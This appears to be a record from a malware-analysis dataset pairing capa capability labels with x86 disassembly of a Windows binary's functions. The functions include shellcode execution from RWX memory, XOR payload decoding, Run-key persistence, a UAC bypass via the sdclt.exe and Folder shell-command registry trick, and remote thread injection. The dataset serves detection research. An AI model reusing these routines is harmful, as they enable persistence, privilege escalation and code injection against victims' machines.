joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4109d2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x10], edx
push edi
mov dword [ebp - 0xc], esi
call fcn.004106c4
mov ebx, eax
test ebx, ebx
je 0x410abc
push 0x40
push 0x3000
push dword [ebx + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x410abc
movzx eax, word [ebx + 0x14]
add eax, 0x18
add eax, ebx
mov dword [ebp - 4], eax
push dword [eax + 0x14]
push esi
push edi
call fcn.0040102c
xor ecx, ecx
add esp, 0xc
xor eax, eax
cmp cx, word [ebx + 6]
jmp 0x410a75
movzx eax, ax
imul esi, eax, 0x28
mov eax, dword [ebp - 4]
push dword [esi + eax + 8]
mov eax, dword [esi + eax + 0xc]
add eax, edi
push 0
push eax
call fcn.00401052
mov ecx, dword [ebp - 4]
add esp, 0xc
push dword [esi + ecx + 0x10]
mov eax, dword [esi + ecx + 0x14]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [esi + ecx + 0xc]
add eax, edi
push eax
call fcn.0040102c
mov eax, dword [ebp - 8]
add esp, 0xc
inc eax
cmp ax, word [ebx + 6]
mov dword [ebp - 8], eax
jb 0x410a31
mov ecx, edi
call fcn.004108fd
mov ecx, eax
mov esi, edx
mov eax, edi
cdq
sub eax, ecx
mov ecx, edi
sbb edx, esi
push edx
push eax
call fcn.00410756
pop ecx
pop ecx
test al, al
je 0x410ab8
mov ecx, edi
call fcn.004107c4
test al, al
je 0x410ab8
cmp dword [ebp - 0x10], 0
je 0x410ab8
mov eax, dword [ebx + 0x28]
push 0
push 1
push edi
add eax, edi
call eax
mov eax, edi
jmp 0x410abe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x410bd9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
mov esi, ecx
call fcn.00401052
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
push edx
lea edx, [ebp - 0x54]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x410c28
mov eax, dword [ebp - 0x10]
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0x410c2a
xor eax, eax
pop esi
pop ebx
leave
ret 0xc

Function at 0x410c79
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
push 0
push 2
mov ebx, edx
mov dword [ebp - 0x22c], 0x22c
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x410cd5
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x410cca
cmp dword [ebp - 0x224], ebx
je 0x410cdf
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x410cb4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x208]
mov ecx, esi
push eax
call fcn.004035e5
jmp 0x410cd8
Function at 0x410cf6
Capabilities:
Terminate process

Disassembly:
push edi
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x410d20
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x410d24
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
push 0x228
xor esi, esi
lea eax, [ebp - 0x254]
push esi
push eax
mov ebx, ecx
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x258], 0x22c
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x20], esi
push 5
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
call fcn.004016e3
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x410efd
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x410dce
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.0040131a
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x410f2a
mov esi, dword [eax - 4]
imul edi, esi, 0xc
add edi, eax
test esi, esi
je 0x410f2a
sub edi, 0xc
mov ecx, edi
call fcn.00401416
sub esi, 1
jne 0x410dba
jmp 0x410f2a
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x234]
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.004032ff
push dword [ebp - 0x250]
push esi
push 0x1410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x410e89
push 0x410
lea eax, [ebp - 0x668]
push 0
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x668]
push 0x208
push eax
push 0
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
test eax, eax
je 0x410e5e
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x10]
call fcn.004035e5
push eax
lea ecx, [ebp - 4]
call fcn.00403437
mov ecx, dword [ebp - 0x10]
call fcn.00405ea5
and dword [ebp - 0x10], 0
jmp 0x410e80
push 0x414c14
lea ecx, [ebp - 0x14]
call fcn.004035e5
push eax
lea ecx, [ebp - 4]
call fcn.00403437
mov ecx, dword [ebp - 0x14]
call fcn.00405ea5
and dword [ebp - 0x14], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x410eab
push 0x414c14
lea ecx, [ebp - 0x18]
call fcn.004035e5
push eax
lea ecx, [ebp - 4]
call fcn.00403437
mov ecx, dword [ebp - 0x18]
call fcn.00405ea5
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0xc]
sub esp, 0xc
mov esi, esp
mov dword [esi], eax
lea ecx, [esi + 4]
lea eax, [ebp - 8]
push eax
call fcn.0040362d
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 8]
call fcn.0040362d
lea ecx, [ebp - 0x28]
call fcn.004015c0
lea ecx, [ebp - 0xc]
call fcn.00401416
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0
pop esi
test eax, eax
jne 0x410dce
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x28]
mov ecx, ebx
push eax
call fcn.0040131a
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x410f2a
mov esi, dword [eax - 4]
imul edi, esi, 0xc
add edi, eax
test esi, esi
je 0x410f2a
sub edi, 0xc
mov ecx, edi
call fcn.00401416
sub esi, 1
jne 0x410f1b
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x4114a6
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
push ebx
lea ecx, [edi + 0x30]
call fcn.004023ca
call fcn.0040fbfc
cmp eax, 1
jne 0x4114d0
push 0x23
mov ecx, closesocket
jmp 0x4114d7
push 0x1a
mov ecx, closesocket
pop eax
mov dword [edi + 8], ecx
lea esi, [edi + 0x10]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer_
lea ecx, [ebp + 8]
mov dword [edi + 0xc], eax
call fcn.004035e5
push eax
mov ecx, esi
call fcn.00403437
mov ecx, dword [ebp + 8]
call fcn.00405ea5
lea eax, [ebx + 0x30]
push eax
lea ecx, [ebp + 8]
call fcn.0040362d
lea eax, [ebp + 8]
mov ecx, esi
push eax
call fcn.00403335
mov ecx, dword [ebp + 8]
call fcn.00405ea5
push str.inst
lea ecx, [ebp + 8]
call fcn.004035e5
push eax
lea ecx, [edi + 0x18]
call fcn.00403437
mov ecx, dword [ebp + 8]
call fcn.00405ea5
push str.InitWindows
lea ecx, [ebp + 8]
call fcn.004035e5
push eax
lea ecx, [edi + 0x1c]
call fcn.00403437
mov ecx, dword [ebp + 8]
call fcn.00405ea5
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
lea ecx, [ebp + 8]
call fcn.004035e5
push eax
lea ecx, [edi + 0x14]
call fcn.00403437
mov ecx, dword [ebp + 8]
call fcn.00405ea5
push 0
push 0xf003f
push esi
push closesocket
mov ecx, edi
call fcn.0041106c
mov dword [edi + 0x24], eax
test eax, eax
je 0x411631
xor esi, esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
cmp dword [ebx + 0x18], esi
je 0x41160b
lea eax, [ebp - 0xc]
mov ecx, edi
push eax
lea eax, [edi + 0x18]
push eax
call fcn.00410fc3
test eax, eax
je 0x411608
lea eax, [ebp + 8]
push eax
push ecx
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.0040304c
push ecx
push ecx
push esp
mov ecx, ebx
call fcn.00405911
lea ecx, [ebp - 0x14]
call fcn.004060aa
add esp, 0x10
mov ecx, eax
call fcn.00402ecf
push eax
lea ecx, [edi + 0x20]
call fcn.00403437
mov ecx, dword [ebp + 8]
call fcn.00405ea5
lea ecx, [ebp - 0x14]
mov dword [ebp + 8], esi
call fcn.00403036
mov dword [edi + 0x28], 1
jmp 0x41160b
mov dword [edi + 0x28], esi
cmp dword [ebx + 0x20], esi
je 0x411629
lea ecx, [ebp + 8]
call fcn.0040f481
push eax
lea ecx, [edi + 0x20]
call fcn.00403437
mov ecx, dword [ebp + 8]
call fcn.00405ea5
lea ecx, [ebp - 0xc]
call fcn.00403036
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x411855
Capabilities:
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x41188f
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x4118b7
push esi
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x4118b5
push esi
jmp 0x411885
mov al, 1
pop esi
leave
ret
Function at 0x411936
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x800
mov ebx, ecx
call fcn.00401085
mov edi, eax
mov esi, 0x416070
pop ecx
mov edx, edi
sub esi, edi
mov eax, 0x601
mov cl, byte [esi + edx]
xor cl, 0x45
mov byte [edx], cl
inc edx
sub eax, 1
jne 0x41195a
lea eax, [ebp - 4]
push eax
push 0x40
push 0x7d0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
push 0x1000
push 0x1fe
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x28
push str.System32cmd.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esi + eax*2]
push ecx
call fcn.0040102c
add esp, 0xc
lea eax, [edi + 0xef]
push 0
push 0
push ebx
push esi
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4119c9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov esi, 0xf003f
push eax
push esi
xor edi, edi
mov ebx, 0x41726c
push edi
push ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x411a0c
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push edi
push edi
push edi
push ebx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, 0x54cbf0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
push eax
push esi
push 1
push edi
push 0x41728c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x411a3c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push edi
mov edi, 0x208
mov esi, 0x54cbf0
push edi
push 0
push esi
call fcn.00401052
add esp, 0xc
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x411ab4
call fcn.0040fbfc
cmp eax, 1
je 0x411ab4
push ebx
call fcn.004119c9
call fcn.00411ca2
push 0x4172c4
mov ebx, eax
push 0x66
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
pop ebx
test eax, eax
je 0x411ab4
mov ecx, eax
call fcn.00411936
pop edi
xor eax, eax
pop esi
ret
Function at 0x411ab9
Capabilities:
Create process on windows
Delete registry key
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
push esi
push edi
call fcn.0040fbfc
cmp eax, 1
je 0x411bf2
push dword [0x4198b8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 4], edi
je 0x411b01
lea ecx, [ebp - 8]
call fcn.0040f7e0
call fcn.004118ba
mov esi, 0x400
lea eax, [ebp - 0x64c]
push esi
push edi
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x64c]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x64c]
mov esi, 0x416056
push eax
push esi
call fcn.00411855
push esi
push str.DelegateExecute
call fcn.00411855
add esp, 0x10
lea eax, [ebp - 0x24c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._sdclt.exe
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
push edi
push edi
lea eax, [ebp - 0x24c]
mov esi, 0x414688
push eax
push esi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
movaps xmm0, xmmword [0x417570]
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
movups xmmword [ebp - 0x30], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 4], edi
je 0x411bd0
lea ecx, [ebp - 8]
call fcn.0040f7b9
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x411bf8
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, ebx
cdq
and edx, 3
push esi
push edi
lea edi, [edx + eax]
mov edx, dword [ebp + 8]
sar edi, 2
lea esi, [ecx + edi*4]
neg edi
je 0x411c39
imul eax, dword [esi + edi*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, edx
rol eax, 0xd
imul edx, eax, 5
sub edx, 0x19ab949c
add edi, 1
jne 0x411c16
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x411c5f
sub eax, 1
je 0x411c56
sub eax, 1
jne 0x411c75
movzx ecx, byte [esi + 2]
shl ecx, 0x10
movzx eax, byte [esi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [esi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, ebx
mov eax, edx
shr eax, 0x10
xor eax, edx
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop ebp
ret
Function at 0x411d35
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x411d73
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x411d78
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x411db6
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x411e21
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x400000
mov edi, edx
mov esi, ecx
call fcn.00401085
pop ecx
mov ebx, eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x411e5e
and dword [edi], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [edi], eax
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x411e7e
and dword [edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x411e8c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov eax, edx
xor edi, edi
push 0x1000
push eax
push edi
mov dword [ebp - 4], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ebx, eax
lea eax, [edx - 1]
add eax, esi
mov cl, byte [eax]
not cl
mov byte [edi + ebx], cl
inc edi
dec eax
cmp edi, edx
jbe 0x411eb6
lea eax, [ebp - 8]
push eax
push 0x40
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x411ed8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, edx
mov edi, ecx
call fcn.00401133
xor esi, esi
mov dword [ebp - 4], eax
pop ecx
test ebx, ebx
jle 0x411f09
mov ecx, dword [ebp + 8]
mov eax, esi
cdq
idiv dword [ebp - 4]
mov al, byte [edx + ecx]
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x411ef8
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411f13
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
lea eax, [ebp - 4]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x411fd3
cmp dword [ebp - 4], ebx
je 0x411fc3
push 0x40
push 0x1000
push 0xff
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14
push 0x41493c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
push eax
call fcn.0040102c
add esp, 0xc
lea eax, [ebp - 0x60]
push 0x44
push ebx
push eax
call fcn.00401052
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x411fd3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xc]
jmp 0x411fce
call fcn.004120b8
test eax, eax
je 0x411fd3
mov edx, eax
call fcn.00411fd8
pop edi
pop esi
pop ebx
leave
ret

Function at 0x411fd8
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, 0xff
mov dword [ebp - 0x10c], eax
push ebx
call fcn.00401085
pop ecx
push ebx
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00401172
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
pop ecx
pop ecx
push 0x40
push 0x3000
push 0x800
push 0
push edi
call esi
push 0
push 0x800
push 0x419158
mov ebx, eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x800
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 4]
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x10c]
push 0x103
push eax
push esi
push dword [ebp - 4]
call edi
xor ecx, ecx
lea eax, [ebx + 0x10e]
push ecx
push ecx
push esi
push eax
push ecx
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
mov dword [0x54cbec], eax
pop ebx
leave
ret
Function at 0x4120b8
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, 0x128
mov esi, eax
push edi
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 0x128], edi
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x412121
lea eax, [ebp - 0x104]
push 0x417370
push eax
call fcn.00401144
pop ecx
pop ecx
test eax, eax
je 0x412132
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4120fc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x120]
jmp 0x41212e

Function at 0x412447
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
push edi
mov esi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x414590
push 1
push edi
push 0x4145e0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4124df
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edi
push edx
push 0x4145d0
push ecx
call dword [eax + 0xc]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x4124cf
mov eax, dword [ecx]
push ecx
call dword [eax + 0x14]
jmp 0x4124ab
mov ecx, dword [ebp - 0xc]
inc esi
test ecx, ecx
je 0x4124ab
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edi
push edx
push 1
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x41249a
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x4124cf
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [ebp - 4], edi
mov edx, dword [ebp - 8]
test edx, edx
je 0x4124df
mov ecx, dword [edx]
push edx
call dword [ecx + 8]
mov dword [ebp - 8], edi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
mov eax, esi
pop esi
leave
ret